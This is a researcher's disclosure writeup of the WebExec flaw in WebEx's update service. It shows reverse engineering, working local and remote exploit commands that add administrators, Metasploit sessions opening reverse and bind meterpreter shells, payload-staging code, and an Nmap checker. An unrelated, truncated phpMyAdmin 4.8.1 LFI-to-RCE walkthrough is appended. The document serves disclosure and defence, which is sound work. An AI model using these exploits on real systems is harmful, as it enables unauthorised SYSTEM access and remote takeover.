High level details and FAQ at https://webexec.org! Below is a technical writeup of how we found the bug and how it works.

Credit

This vulnerability was discovered by myself and Jeff McJunkin from Counter Hack during a routine pentest. Thanks to Ed Skoudis for permission to post this writeup.

If you have any questions or concerns, I made an email alias specifically for this issue: info@webexec.org!

You can download a vulnerable installer here and a patched one here, in case you want to play with this yourself! It probably goes without saying, but be careful if you run the vulnerable version!

Intro

During a recent pentest, we found an interesting vulnerability in the WebEx client software while we were trying to escalate local privileges on an end-user laptop. Eventually, we realized that this vulnerability is also exploitable remotely (given any domain user account) and decided to give it a name: WebExec. Because every good vulnerability has a name!

As far as we know, a remote attack against a 3rd party Windows service is a novel type of attack. We’re calling the class «thank you for your service», because we can, and are crossing our fingers that more are out there!

The actual version of WebEx is the latest client build as of August, 2018: Version 3211.0.1801.2200, modified 7/19/2018 SHA1: bf8df54e2f49d06b52388332938f5a875c43a5a7. We’ve tested some older and newer versions since then, and they are still vulnerable.

WebEx released patch on October 3, but requested we maintain embargo until they release their advisory. You can find all the patching instructions on webexec.org.

The good news is, the patched version of this service will only run files that are signed by WebEx. The bad news is, there are a lot of those out there (including the vulnerable version of the service!), and the service can still be started remotely. If you’re concerned about the service being remotely start-able by any user (which you should be!), the following command disables that function:

c:\>sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

That removes remote and non-interactive access from the service. It will still be vulnerable to local privilege escalation, though, without the patch.

Privilege Escalation

What initially got our attention is that folder (c:\ProgramData\WebEx\WebEx\Applications\) is readable and writable by everyone, and it installs a service called «webexservice» that can be started and stopped by anybody. That’s not good! It is trivial to replace the .exe or an associated .dll with anything we like, and get code execution at the service level (that’s SYSTEM). That’s an immediate vulnerability, which we reported, and which ZDI apparently beat us to the punch on, since it was fixed on September 5, 2018, based on their report.

Due to the application whitelisting, however, on this particular assessment we couldn’t simply replace this with a shell! The service starts non-interactively (ie, no window and no commandline arguments). We explored a lot of different options, such as replacing the .exe with other binaries (such as cmd.exe), but no GUI meant no ability to run commands.

One test that almost worked was replacing the .exe with another whitelisted application, msbuild.exe, which can read arbitrary C# commands out of a .vbproj file in the same directory. But because it’s a service, it runs with the working directory c:\windows\system32, and we couldn’t write to that folder!

At that point, my curiosity got the best of me, and I decided to look into what webexservice.exe actually does under the hood. The deep dive ended up finding gold! Let’s take a look

Deep dive into WebExService.exe

It’s not really a good motto, but when in doubt, I tend to open something in IDA. The two easiest ways to figure out what a process does in IDA is the strings windows (shift-F12) and the imports window. In the case of webexservice.exe, most of the strings were related to Windows service stuff, but something caught my eye:

  .rdata:00405438 ; wchar_t aSCreateprocess
  .rdata:00405438 aSCreateprocess:                        ; DATA XREF: sub_4025A0+1E8o
  .rdata:00405438                 unicode 0, <%s::CreateProcessAsUser:%d;%ls;%ls(%d).>,0

I found the import for CreateProcessAsUserW in advapi32.dll, and looked at how it was called:

  .text:0040254E                 push    [ebp+lpProcessInformation] ; lpProcessInformation
  .text:00402554                 push    [ebp+lpStartupInfo] ; lpStartupInfo
  .text:0040255A                 push    0               ; lpCurrentDirectory
  .text:0040255C                 push    0               ; lpEnvironment
  .text:0040255E                 push    0               ; dwCreationFlags
  .text:00402560                 push    0               ; bInheritHandles
  .text:00402562                 push    0               ; lpThreadAttributes
  .text:00402564                 push    0               ; lpProcessAttributes
  .text:00402566                 push    [ebp+lpCommandLine] ; lpCommandLine
  .text:0040256C                 push    0               ; lpApplicationName
  .text:0040256E                 push    [ebp+phNewToken] ; hToken
  .text:00402574                 call    ds:CreateProcessAsUserW

The W on the end refers to the UNICODE («wide») version of the function. When developing Windows code, developers typically use CreateProcessAsUser in their code, and the compiler expands it to CreateProcessAsUserA for ASCII, and CreateProcessAsUserW for UNICODE. If you look up the function definition for CreateProcessAsUser, you’ll find everything you need to know.

In any case, the two most important arguments here are hToken — the user it creates the process as — and lpCommandLine — the command that it actually runs. Let’s take a look at each!

hToken

The code behind hToken is actually pretty simple. If we scroll up in the same function that calls CreateProcessAsUserW, we can just look at API calls to get a feel for what’s going on. Trying to understand what code’s doing simply based on the sequence of API calls tends to work fairly well in Windows applications, as you’ll see shortly.

At the top of the function, we see:

  .text:0040241E                 call    ds:CreateToolhelp32Snapshot

This is a normal way to search for a specific process in Win32 — it creates a «snapshot» of the running processes and then typically walks through them using Process32FirstW and Process32NextW until it finds the one it needs. I even used the exact same technique a long time ago when I wrote my Injector tool for loading a custom .dll into another process (sorry for the bad code.. I wrote it like 15 years ago).

Based simply on knowledge of the APIs, we can deduce that it’s searching for a specific process. If we keep scrolling down, we can find a call to _wcsicmp, which is a Microsoft way of saying stricmp for UNICODE strings:

  .text:00402480                 lea     eax, [ebp+Str1]
  .text:00402486                 push    offset Str2     ; "winlogon.exe"
  .text:0040248B                 push    eax             ; Str1
  .text:0040248C                 call    ds:_wcsicmp
  .text:00402492                 add     esp, 8
  .text:00402495                 test    eax, eax
  .text:00402497                 jnz     short loc_4024BE

Specifically, it’s comparing the name of each process to «winlogon.exe» — so it’s trying to get a handle to the «winlogon.exe» process!

If we continue down the function, you’ll see that it calls OpenProcess, then OpenProcessToken, then DuplicateTokenEx. That’s another common sequence of API calls — it’s how a process can get a handle to another process’s token. Shortly after, the token it duplicates is passed to CreateProcessAsUserW as hToken.

To summarize: this function gets a handle to winlogon.exe, duplicates its token, and creates a new process as the same user (SYSTEM). Now all we need to do is figure out what the process is!

An interesting takeaway here is that I didn’t really really read assembly at all to determine any of this: I simply followed the API calls. Often, reversing Windows applications is just that easy!

lpCommandLine

This is where things get a little more complicated, since there are a series of function calls to traverse to figure out lpCommandLine. I had to use a combination of reversing, debugging, troubleshooting, and eventlogs to figure out exactly where lpCommandLine comes from. This took a good full day, so don’t be discouraged by this quick summary — I’m skipping an awful lot of dead ends and validation to keep just to the interesting bits.

One such dead end: I initially started by working backwards from CreateProcessAsUserW, or forwards from main(), but I quickly became lost in the weeds and decided that I’d have to go the other route. While scrolling around, however, I noticed a lot of debug strings and calls to the event log. That gave me an idea — I opened the Windows event viewer (eventvwr.msc) and tried to start the process with sc start webexservice:

C:\Users\ron>sc start webexservice

SERVICE_NAME: webexservice
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
[...]

You may need to configure Event Viewer to show everything in the Application logs, I didn’t really know what I was doing, but eventually I found a log entry for WebExService.exe:

  ExecuteServiceCommand::Not enough command line arguments to execute a service command.

That’s handy! Let’s search for that in IDA (alt+T)! That leads us to this code:

  .text:004027DC                 cmp     edi, 3
  .text:004027DF                 jge     short loc_4027FD
  .text:004027E1                 push    offset aExecuteservice ; &quot;ExecuteServiceCommand&quot;
  .text:004027E6                 push    offset aSNotEnoughComm ; &quot;%s::Not enough command line arguments t&quot;...
  .text:004027EB                 push    2               ; wType
  .text:004027ED                 call    sub_401770

A tiny bit of actual reversing: compare edit to 3, jump if greater or equal, otherwise print that we need more commandline arguments. It doesn’t take a huge logical leap to determine that we need 2 or more commandline arguments (since the name of the process is always counted as well). Let’s try it:

C:\Users\ron>sc start webexservice a b

[...]

Then check Event Viewer again:

  ExecuteServiceCommand::Service command not recognized: b.

Don’t you love verbose error messages? It’s like we don’t even have to think! Once again, search for that string in IDA (alt+T) and we find ourselves here:

  .text:00402830 loc_402830:                             ; CODE XREF: sub_4027D0+3Dj
  .text:00402830                 push    dword ptr [esi+8]
  .text:00402833                 push    offset aExecuteservice ; "ExecuteServiceCommand"
  .text:00402838                 push    offset aSServiceComman ; "%s::Service command not recognized: %ls"...
  .text:0040283D                 push    2               ; wType
  .text:0040283F                 call    sub_401770

If we scroll up just a bit to determine how we get to that error message, we find this:

  .text:004027FD loc_4027FD:                             ; CODE XREF: sub_4027D0+Fj
  .text:004027FD                 push    offset aSoftwareUpdate ; "software-update"
  .text:00402802                 push    dword ptr [esi+8] ; lpString1
  .text:00402805                 call    ds:lstrcmpiW
  .text:0040280B                 test    eax, eax
  .text:0040280D                 jnz     short loc_402830 ; <-- Jumps to the error we saw
  .text:0040280F                 mov     [ebp+var_4], eax
  .text:00402812                 lea     edx, [esi+0Ch]
  .text:00402815                 lea     eax, [ebp+var_4]
  .text:00402818                 push    eax
  .text:00402819                 push    ecx
  .text:0040281A                 lea     ecx, [edi-3]
  .text:0040281D                 call    sub_4025A0

The string software-update is what the string is compared to. So instead of b, let’s try software-update and see if that gets us further! I want to once again point out that we’re only doing an absolutely minimum amount of reverse engineering at the assembly level — we’re basically entirely using API calls and error messages!

Here’s our new command:

C:\Users\ron>sc start webexservice a software-update

[...]

Which results in the new log entry:

  Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Exception code: 0xc0000005
  Fault offset: 0x00002643
  Faulting process id: 0x654
  Faulting application start time: 0x01d42dbbf2bcc9b8
  Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Faulting module path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Report Id: 31555e60-99af-11e8-8391-0800271677bd

Uh oh! I’m normally excited when I get a process to crash, but this time I’m actually trying to use its features! What do we do!?

First of all, we can look at the exception code: 0xc0000005. If you Google it, or develop low-level software, you’ll know that it’s a memory fault. The process tried to access a bad memory address (likely NULL, though I never verified).

The first thing I tried was the brute-force approach: let’s add more commandline arguments! My logic was that it might require 2 arguments, but actually use the third and onwards for something then crash when they aren’t present.

So I started the service with the following commandline:

C:\Users\ron>sc start webexservice a software-update a b c d e f

[...]

That led to a new crash, so progress!

  Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6
  Exception code: 0x40000015
  Fault offset: 0x000a7676
  Faulting process id: 0x774
  Faulting application start time: 0x01d42dbc22eef30e
  Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Faulting module path: C:\ProgramData\Webex\Webex\Applications\MSVCR120.dll
  Report Id: 60a0439c-99af-11e8-8391-0800271677bd

I had to google 0x40000015; it means STATUS_FATAL_APP_EXIT. In other words, the app exited, but hard — probably a failed assert()? We don’t really have any output, so it’s hard to say.

This one took me awhile, and this is where I’ll skip the deadends and debugging and show you what worked.

Basically, keep following the codepath immediately after the software-update string we saw earlier. Not too far after, you’ll see this function call:

  .text:0040281D                 call    sub_4025A0

If you jump into that function (double click), and scroll down a bit, you’ll see:

  .text:00402616                 mov     [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\\Default"

I used the most advanced technique in my arsenal here and googled that string. It turns out that it’s a handle to the default desktop and is frequently used when starting a new process that needs to interact with the user. That’s a great sign, it means we’re almost there!

A little bit after, in the same function, we see this code:

  .text:004026A2                 push    eax             ; EndPtr
  .text:004026A3                 push    esi             ; Str
  .text:004026A4                 call    ds:wcstod ; <--
  .text:004026AA                 add     esp, 8
  .text:004026AD                 fstp    [esp+0B4h+var_90]
  .text:004026B1                 cmp     esi, [esp+0B4h+EndPtr+4]
  .text:004026B5                 jnz     short loc_4026C2
  .text:004026B7                 push    offset aInvalidStodArg ; &quot;invalid stod argument&quot;
  .text:004026BC                 call    ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)

The line with an error — wcstod() is close to where the abort() happened. I’ll spare you the debugging details — debugging a service was non-trivial — but I really should have seen that function call before I got off track.

I looked up wcstod() online, and it’s another of Microsoft’s cleverly named functions. This one converts a string to a number. If it fails, the code references something called std::_Xinvalid_argument. I don’t know exactly what it does from there, but we can assume that it’s looking for a number somewhere.

This is where my advice becomes «be lucky». The reason is, the only number that will actually work here is «1». I don’t know why, or what other numbers do, but I ended up calling the service with the commandline:

C:\Users\ron>sc start webexservice a software-update 1 2 3 4 5 6

And checked the event log:

  StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).

That looks awfully promising! I changed 2 to an actual process:

  C:\Users\ron>sc start webexservice a software-update 1 calc c d e f

And it opened!

C:\Users\ron>tasklist | find "calc"
calc.exe                      1476 Console                    1     10,804 K

It actually runs with a GUI, too, so that’s kind of unnecessary. I could literally see it! And it’s running as SYSTEM!

Speaking of unknowns, running cmd.exe and powershell the same way does not appear to work. We can, however, run wmic.exe and net.exe, so we have some choices!

Local exploit

The simplest exploit is to start cmd.exe with wmic.exe:

C:\Users\ron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"

That opens a GUI cmd.exe instance as SYSTEM:

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

If we can’t or choose not to open a GUI, we can also escalate privileges:

C:\Users\ron>net localgroup administrators
[...]
Administrator
ron

C:\Users\ron>sc start webexservice a software-update 1 net localgroup administrators testuser /add
[...]

C:\Users\ron>net localgroup administrators
[...]
Administrator
ron
testuser

And this all works as an unprivileged user!

Jeff wrote a local module for Metasploit to exploit the privilege escalation vulnerability. If you have a non-SYSTEM session on the affected machine, you can use it to gain a SYSTEM account:

meterpreter > getuid
Server username: IEWIN7\IEUser

meterpreter > background
[*] Backgrounding session 2...

msf exploit(multi/handler) > use exploit/windows/local/webexec
msf exploit(windows/local/webexec) > set SESSION 2
SESSION => 2

msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/webexec) > set LHOST 172.16.222.1
msf exploit(windows/local/webexec) > set LPORT 9001
msf exploit(windows/local/webexec) > run

[*] Started reverse TCP handler on 172.16.222.1:9001
[*] Checking service exists...
[*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe...
[*] Launching service...
[*] Sending stage (179779 bytes) to 172.16.222.132
[*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700
[*] Service started...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Remote exploit

We actually spent over a week knowing about this vulnerability without realizing that it could be used remotely! The simplest exploit can still be done with the Windows sc command. Either create a session to the remote machine or create a local user with the same credentials, then run cmd.exe in the context of that user (runas /user:newuser cmd.exe). Once that’s done, you can use the exact same command against the remote host:

c:\>sc \\10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add

The command will run (and a GUI will even pop up!) on the other machine.

Remote exploitation with Metasploit

To simplify this attack, I wrote a pair of Metasploit modules. One is an auxiliary module that implements this attack to run an arbitrary command remotely, and the other is a full exploit module. Both require a valid SMB account (local or domain), and both mostly depend on the WebExec library that I wrote.

Here is an example of using the auxiliary module to run calc on a bunch of vulnerable machines:

msf5 > use auxiliary/admin/smb/webexec_command
msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110
RHOSTS => 192.168.56.100-110
msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
SMBUser => testuser
msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
SMBPass => testuser
msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
COMMAND => calc
msf5 auxiliary(admin/smb/webexec_command) > exploit

[-] 192.168.56.105:445    - No service handle retrieved
[+] 192.168.56.105:445    - Command completed!
[-] 192.168.56.103:445    - No service handle retrieved
[+] 192.168.56.103:445    - Command completed!
[+] 192.168.56.104:445    - Command completed!
[+] 192.168.56.101:445    - Command completed!
[*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed

And here’s the full exploit module:

msf5 > use exploit/windows/smb/webexec
msf5 exploit(windows/smb/webexec) > set SMBUser testuser
SMBUser => testuser
msf5 exploit(windows/smb/webexec) > set SMBPass testuser
SMBPass => testuser
msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf5 exploit(windows/smb/webexec) > exploit

[*] 192.168.56.101:445 - Connecting to the server...
[*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'...
[*] 192.168.56.101:445 - Command Stager progress -   0.96% done (999/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress -   1.91% done (1998/104435 bytes)
...
[*] 192.168.56.101:445 - Command Stager progress -  98.52% done (102891/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress -  99.47% done (103880/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Sending stage (179779 bytes) to 192.168.56.101

The actual implementation is mostly straight forward if you look at the code linked above, but I wanted to specifically talk about the exploit module, since it had an interesting problem: how do you initially get a meterpreter .exe uploaded to execute it?

I started by using a psexec-like exploit where we upload the .exe file to a writable share, then execute it via WebExec. That proved problematic, because uploading to a share frequently requires administrator privileges, and at that point you could simply use psexecinstead. You lose the magic of WebExec!

After some discussion with Egyp7, I realized I could use the Msf::Exploit::CmdStager mixin to stage the command to an .exe file to the filesystem. Using the .vbs flavor of staging, it would write a Base64-encoded file to the disk, then a .vbs stub to decode and execute it!

There are several problems, however:

  • The max line length is ~1200 characters, whereas the CmdStager mixin uses ~2000 characters per line
  • CmdStager uses %TEMP% as a temporary directory, but our exploit doesn’t expand paths
  • WebExecService seems to escape quotation marks with a backslash, and I’m not sure how to turn that off

The first two issues could be simply worked around by adding options (once I’d figured out the options to use):

wexec(true) do |opts|
  opts[:flavor] = :vbs
  opts[:linemax] = datastore["MAX_LINE_LENGTH"]
  opts[:temp] = datastore["TMPDIR"]
  opts[:delay] = 0.05
  execute_cmdstager(opts)
end

execute_cmdstager() will execute execute_command() over and over to build the payload on-disk, which is where we fix the final issue:

# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
  # Replace the empty string, "", with a workaround - the first 0 characters of "A"
  command = command.gsub('""', 'mid(Chr(65), 1, 0)')

  # Replace quoted strings with Chr(XX) versions, in a naive way
  command = command.gsub(/"[^"]*"/) do |capture|
    capture.gsub(/"/, "").chars.map do |c|
      "Chr(#{c.ord})"
    end.join('+')
  end

  # Prepend "cmd /c" so we can use a redirect
  command = "cmd /c " + command

  execute_single_command(command, opts)
end

First, it replaces the empty string with mid(Chr(65), 1, 0), which works out to characters 1 — 1 of the string «A». Or the empty string!

Second, it replaces every other string with Chr(n)+Chr(n)+.... We couldn’t use &, because that’s already used by the shell to chain commands. I later learned that we can escape it and use ^&, which works just fine, but + is shorter so I stuck with that.

And finally, we prepend cmd /c to the command, which lets us echo to a file instead of just passing the > symbol to the process. We could probably use ^> instead.

In a targeted attack, it’s obviously possible to do this much more cleanly, but this seems to be a great way to do it generically!

Checking for the patch

This is one of those rare (or maybe not so rare?) instances where exploiting the vulnerability is actually easier than checking for it!

The patched version of WebEx still allows remote users to connect to the process and start it. However, if the process detects that it’s being asked to run an executable that is not signed by WebEx, the execution will halt. Unfortunately, that gives us no information about whether a host is vulnerable!

There are a lot of targeted ways we could validate whether code was run. We could use a DNS request, telnet back to a specific port, drop a file in the webroot, etc. The problem is that unless we have a generic way to check, it’s no good as a script!

In order to exploit this, you have to be able to get a handle to the service-controlservice (svcctl), so to write a checker, I decided to install a fake service, try to start it, then delete the service. If starting the service returns either OK or ACCESS_DENIED, we know it worked!

Here’s the important code from the Nmap checker module we developed:

-- Create a test service that we can query
local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command))

-- ...

local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)

-- If the service DOES_NOT_EXIST, we couldn't run code
if string.match(test_result, 'DOES_NOT_EXIST') then
  stdnse.debug("Result: Test service does not exist: probably not vulnerable")
  msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])

  vuln.check_results = "Could not execute code via WebExService"
  return report:make_output(vuln)
end

Not shown: we also delete the service once we’re finished.

Conclusion

So there you have it! Escalating privileges from zero to SYSTEM using WebEx’s built-in update service! Local and remote! Check out webexec.org for tools and usage instructions!

phpMyAdmin 4.8.x LFI to RCE (Authorization Required)

Author: @Ambulong

Security Team ChaMd5 disclose a Local File Inclusion vulnerability in phpMyAdmin latest version 4.8.1. And the exploiting of this vulnerability may lead to Remote Code Execution.

In this article, we will use VulnSpy’s online phpMyAdmin environment to demonstrate the exploit of this vulnerability.

VulnSpy’s online phpMyAdmin environment address: http://www.vulnspy.com/phpmyadmin-4.8.1/

Vulnerability Details

1.Line 54-63 in file /index.php:

1
2
3
4
5
6
7
8
9
10
// If we have a valid target, let’s load that script instead
if (! empty($_REQUEST[‘target’])
&& is_string($_REQUEST[‘target’])
&& ! preg_match(‘/^index/’, $_REQUEST[‘target’])
&& ! in_array($_REQUEST[‘target’], $target_blacklist)
&& Core::checkPageValidity($_REQUEST[‘target’])
) {
include $_REQUEST[‘target’];
exit;
}

2.Core::checkPageValidity in /libraries/classes/Core.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* boolean phpMyAdmin.Core::checkPageValidity(string &$page, array $whitelist)
*
* checks given $page against given $whitelist and returns true if valid
* it optionally ignores query parameters in $page (script.php?ignored)
*
* @param string &$page page to check
* @param array $whitelist whitelist to check page against
*
* @return boolean whether $page is valid or not (in $whitelist or not)
*/
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}

Core::checkPageValidity can be bypassed by using by double encoding like %253f.

Exploit

An attacker can use this vulnerability to include session file to lauching a Remote Code Execution vulnerability.

1.Use username root, password toor log into phpmyadmin.

Login PMA

2.Run SQL query

Login PMA

3.Get your Session ID

Session ID is the item phpMyAdmin in your cookie.

Login PMA

4.Include the session file

Login PMA